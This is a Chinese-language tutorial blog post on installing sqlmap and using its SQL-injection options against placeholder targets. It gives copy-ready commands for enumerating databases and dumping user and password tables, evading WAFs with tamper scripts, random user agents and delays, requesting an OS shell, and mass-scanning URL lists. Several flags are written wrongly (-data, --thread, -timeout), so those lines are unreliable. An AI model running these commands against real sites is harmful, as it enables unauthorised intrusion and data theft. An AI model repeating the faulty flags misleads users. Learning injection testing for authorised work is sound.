SQLmap 完整使用指南:环境搭建 + 命令详解 + 实操案例

发布于:2025-09-05 ⋅ 阅读:(20) ⋅ 点赞:(0)

一、前言

sqlmap 是一款开源的 SQL 注入测试工具,支持 MySQL、Oracle、SQL Server 等主流数据库,可自动探测并利用 SQL 注入漏洞,实现数据库信息获取、数据导出甚至服务器权限控制。本指南针对新手设计,从环境搭建到命令实操逐步讲解,确保零基础用户也能快速上手。

二、环境准备:Python 安装与配置

sqlmap 基于 Python 开发,需先搭建 Python 运行环境(推荐 Python 3.6~3.12 版本,Python 2.x 已停止维护,3.13+ 可能存在兼容性问题)

2.1 下载 Python

  1. 访问 Python 官方下载页:https://www.python.org/downloads/ (选择 “Stable
    Releases” 下的稳定版,格式为「Python 3.x.x」,如 3.12.4) 64 位系统:下载「Windows x86-64
    executable installer」 32 位系统:下载「Windows x86 executable installer」
    注意:避免下载无效版本(如原链接中 “python-3137” 为错误格式,正确版本号含小数点,如 3.12.4)。 安装
    Python(关键步骤): 双击安装包,务必勾选「Add Python.exe to PATH」(自动配置环境变量,避免后续手动操作);
    选择安装方式: 新手推荐「Install Now」默认安装(路径通常为 C:\Python312); 进阶用户可选「Customize
    Installation」,自定义安装到非系统盘(如 D:\Python312,需记住路径)。
  2. 验证 Python 环境 打开命令提示符(CMD):按下 Win + R,输入 cmd 回车; 执行版本验证命令(出现以下结果即成功):
py -V  # 或 python -V(若 py 命令无效,替换为 python)

成功示例:Python 3.12.4
失败处理:若提示 “不是内部或外部命令”,需手动配置环境变量(见 2.3 节)。

  1. 手动配置环境变量(仅安装时未勾选 PATH 需操作)
    右键「此电脑」→「属性」→「高级系统设置」→「环境变量」;
    在「系统变量」中找到「Path」→ 双击编辑;
    点击「新建」,分别添加以下 2 个路径(需替换为你的 Python 安装路径):
    Python 主程序路径:D:\Python312
    脚本路径(pip 等工具):D:\Python312\Scripts
    点击「确定」保存,关闭所有 CMD 窗口后重新打开,执行 py -V 验证。

三、sqlmap 下载与目录配置

提供两种下载方式,新手推荐「官网直接下载」,进阶用户可选择「Git 克隆」获取最新版。

  1. 方式 1:官网直接下载(推荐新手)
    访问 sqlmap 官网:https://sqlmap.org/
    点击右上角「Download」,下载最新压缩包(格式为 .zip);
    解压到指定目录:
    新建无中文 / 无空格的文件夹(如 D:\Tools\sqlmap);
    右键压缩包 →「解压到当前文件夹」,确保解压后目录包含 sqlmap.py(核心执行文件)。
  2. 方式 2:Git 克隆下载(需先装 Git)
    安装 Git:访问 https://git-scm.com/download/win,下载后默认安装;
    打开 CMD,切换到目标目录(如 D:\Tools):
cd /d D:\Tools  # /d 用于跨盘符切换(如从 C 盘到 D 盘)

执行克隆命令,自动下载最新版 sqlmap:

git clone https://github.com/sqlmapproject/sqlmap.git

克隆完成后,生成 D:\Tools\sqlmap 目录,包含所有核心文件。

在这里插入图片描述
拉倒最后下载对应版本 安装完 配置环境变量

五、sqlmap 核心命令详解(分类整理)

按「基础探测→数据导出→优化绕过→高级功能→辅助调试」分类,每个命令含「格式 + 作用 +示例」,示例基于目标 URL http://127.0.0.1?name=1 编写。

5.1 数据库 密码提取

命令 解释 示例
--dbs 枚举目标服务器上的所有数据库名称 python sqlmap.py -u "http://xx/?id=1" --dbs
--current-db 查看当前请求所连接的默认数据库 python sqlmap.py -u "http://xx/?id=1" --current-db
-r 本地请求文件.txt 加载本地保存的 HTTP 请求包(适用于 POST 注入、带 Cookie/Token 的场景,需先抓包保存为 TXT) python sqlmap.py -r request.txt --dbs
-d "数据库连接串" 直接连接数据库(无需通过 Web 注入,需知道数据库账号密码)# 格式:dbms://用户名:密码@IP:端口/数据库名(以 MySQL 为例) python sqlmap.py -d “mysql://root:123456@127.0.0.1:3306/test”

5.2 数据导出:表、列、内容提取

在确定数据库和表结构后,用于提取核心数据(如用户账号、密码),是注入测试的核心目标。

命令格式 作用 实操示例
-D 数据库名 --tables 枚举指定数据库下的所有表名称 # 枚举 security 数据库的所有表 python sqlmap.py -u “http://xx/?id=1” -D security --tables
-D 数据库名 -T 表名 --columns 枚举指定表下的所有列名称(需先通过 --tables 确认表名) # 枚举 security 库中 users 表的所有列 python sqlmap.py -u “http://xx/?id=1” -D security -T users --columns
-D 库名 -T 表名 -C 列名1,列名2 --dump 导出指定列的所有数据(多列用英文逗号分隔,支持模糊匹配)# 导出 security.users 表中 id、username、password 列的数据 python sqlmap.py -u “http://xx?id=1” -D security -T users -C id,username,password --dump
--dump-all 导出所有数据库的所有表数据(谨慎使用!数据量大时耗时久,易触发防护) python sqlmap.py -u “http://xx/?id=1” --dump-all
-D 库名 -T 表名 --dump --start 1 --stop 10 导出指定表的部分数据--start 起始行,--stop 结束行,适用于大表) # 导出 security.users 表的第 1~10 行数据 python sqlmap.py -u “http://xx/?id=1” -D security -T users --dump --start 1 --stop 10

5.3 优化绕过:提高注入成功率(应对 WAF/过滤)

针对目标存在 WAF(Web 应用防火墙)或参数过滤的场景,通过脚本、请求调整绕过防护,减少 403/500 错误。

命令格式 作用 实操示例
--batch 自动选择默认选项(如“是否继续测试”“是否保存配置”),无需手动交互 # 自动枚举 security 库的表,无需手动确认 python sqlmap.py -u “http://xx/?id=1” -D security --tables --batch
--tamper 脚本名1,脚本名2 调用内置脚本对 Payload 编码/变形(绕过空格过滤、关键字拦截等,常用脚本见备注) # 用 space2comment(注释替换空格)+ unionalltounion(简化 UNION ALL)绕过过滤 python sqlmap.py -u “http://xx/?id=1” --tamper space2comment,unionalltounion
--delay N 设置请求间隔为 N 秒(避免请求频率过高触发 WAF 频率限制,N 建议 1~3)# 每 1 秒发送 1 次请求,降低被封 IP 风险 python sqlmap.py -u “http://xx/?id=1” --dbs --delay 1
--random-agent 随机生成浏览器 User-Agent 头(绕过基于 User-Agent 的过滤规则) python sqlmap.py -u “http://xx/?id=1” --dbs --random-agent
-p 参数名 强制指定注入参数(避免 sqlmap 误判其他无关参数,集中测试核心参数)# 强制测试 URL 中的 name 参数,忽略其他可能的参数 python sqlmap.py -u “http://xx?id=1” -p name --dbs

常用 --tamper 脚本说明:

  • space2comment:用 /*!*/ 替换空格(绕过空格过滤)
  • unionalltounion:将 UNION ALL SELECT 简化为 UNION SELECT(绕过关键字拦截)
  • charencode:对 Payload 进行 ASCII 编码(绕过特殊字符过滤)

5.4 高级功能:POST 注入、多线程、权限控制

针对复杂场景(如 POST 表单、批量测试)或深度渗透(如获取服务器 Shell),提供进阶能力。

命令格式 作用 实操示例
--forms 自动检测页面表单(如登录框),尝试 POST 注入(无需手动构造 POST 数据) # 自动测试登录页表单的注入点 python sqlmap.py -u “http://xx/login.php” --forms
-data "POST参数=值&参数2=值2" 手动指定 POST 数据(适用于已知表单参数的场景,模拟表单提交)# 模拟登录表单提交,测试 username/password 参数的注入点 python sqlmap.py -u “http://xx/login.php” -data “username=admin&password=123”
--thread N 多线程加速探测(N 最大为 10,线程过多易被封 IP 或触发防护)# 5 线程枚举 security 库的表,提高效率 python sqlmap.py -u “http://xx/?id=1” -D security --tables --thread 5
--os-shell 尝试获取目标服务器的系统 Shell(需数据库高权限,成功率较低,仅作参考) python sqlmap.py -u “http://xx/?id=1” --os-shell
-m 目标URL列表.txt 批量测试多个 URL(TXT 文件中每行一个含参数的 URL,适用于批量扫描)# urls.txt 中每行一个 URL(如 http://xx/?id=1) python sqlmap.py -m urls.txt --dbs

5.5 辅助调试:日志查看与环境检测

用于排查注入失败原因(如 WAF 类型、Payload 有效性)或优化测试策略,减少无效操作。

命令格式 作用 实操示例
-v N 设置日志回显等级(0~6,等级越高信息越详细,默认 3)# 显示详细日志(等级 3),用于排查注入失败原因 python sqlmap.py -u “http://xx/?id=1” --dbs -v 3
--identify-waf 检测目标是否部署 WAF 及 WAF 类型(如 Cloudflare、阿里云 WAF)# 确认目标 WAF 类型,针对性选择绕过策略 python sqlmap.py -u “http://xx/?id=1” --identify-waf
--smart 启发式快速探测(跳过明显无效的测试,如不存在的参数、无注入特征的 URL)# 快速判断注入点,节省测试时间 python sqlmap.py -u “http://xx/?id=1” --smart --dbs
--skip-urlencode 不对 URL 参数进行编码(适用于目标服务器不解析 URL 编码的场景) python sqlmap.py -u “http://xx/?id=1” --dbs --skip-urlencode
--level N 设置注入探测等级(1~5,等级越高检测越全面,POST 注入需至少 --level 2)# 等级 3 探测,包含 Cookie、User-Agent 等参数的测试 python sqlmap.py -u “http://xx/?id=1” --dbs --level 3
# 这里是总结
-u 指定目标URL (可以是http协议也可以是https协议)
 
-d 连接数据库
 
--dbs 列出所有的数据库
 
--current-db 列出当前数据库
 
--tables 列出当前的表
 
--columns 列出当前的列
 
-D 选择使用哪个数据库
 
-T 选择使用哪个表
 
-C 选择使用哪个列
 
--dump 获取字段中的数据
 
--batch 自动选择yes
 
--smart 启发式快速判断,节约浪费时间
 
--forms 尝试使用post注入
 
-r 加载文件中的HTTP请求(本地保存的请求包txt文件)
 
-l 加载文件中的HTTP请求(本地保存的请求包日志文件)
 
-g 自动获取Google搜索的前一百个结果,对有GET参数的URL测试
 
-o 开启所有默认性能优化
 
--tamper 调用脚本进行注入
 
-v 指定sqlmap的回显等级
 
--delay 设置多久访问一次
 
--os-shell 获取主机shell,一般不太好用,因为没权限
 
-m 批量操作
 
-c 指定配置文件,会按照该配置文件执行动作
 
-data data指定的数据会当做post数据提交
 
-timeout 设定超时时间
 
--level 设置注入探测等级
 
--risk 风险等级
 
--identify-waf 检测防火墙类型
 
--param-del="分割符" 设置参数的分割符
 
--skip-urlencode 不进行url编码
 
--keep-alive 设置持久连接,加快探测速度
 
--null-connection 检索没有body响应的内容,多用于盲注
 
--thread 最大为10 设置多线程

本教程仅供学习使用,切勿违法乱纪


网站公告

今日签到

点亮在社区的每一天
去签到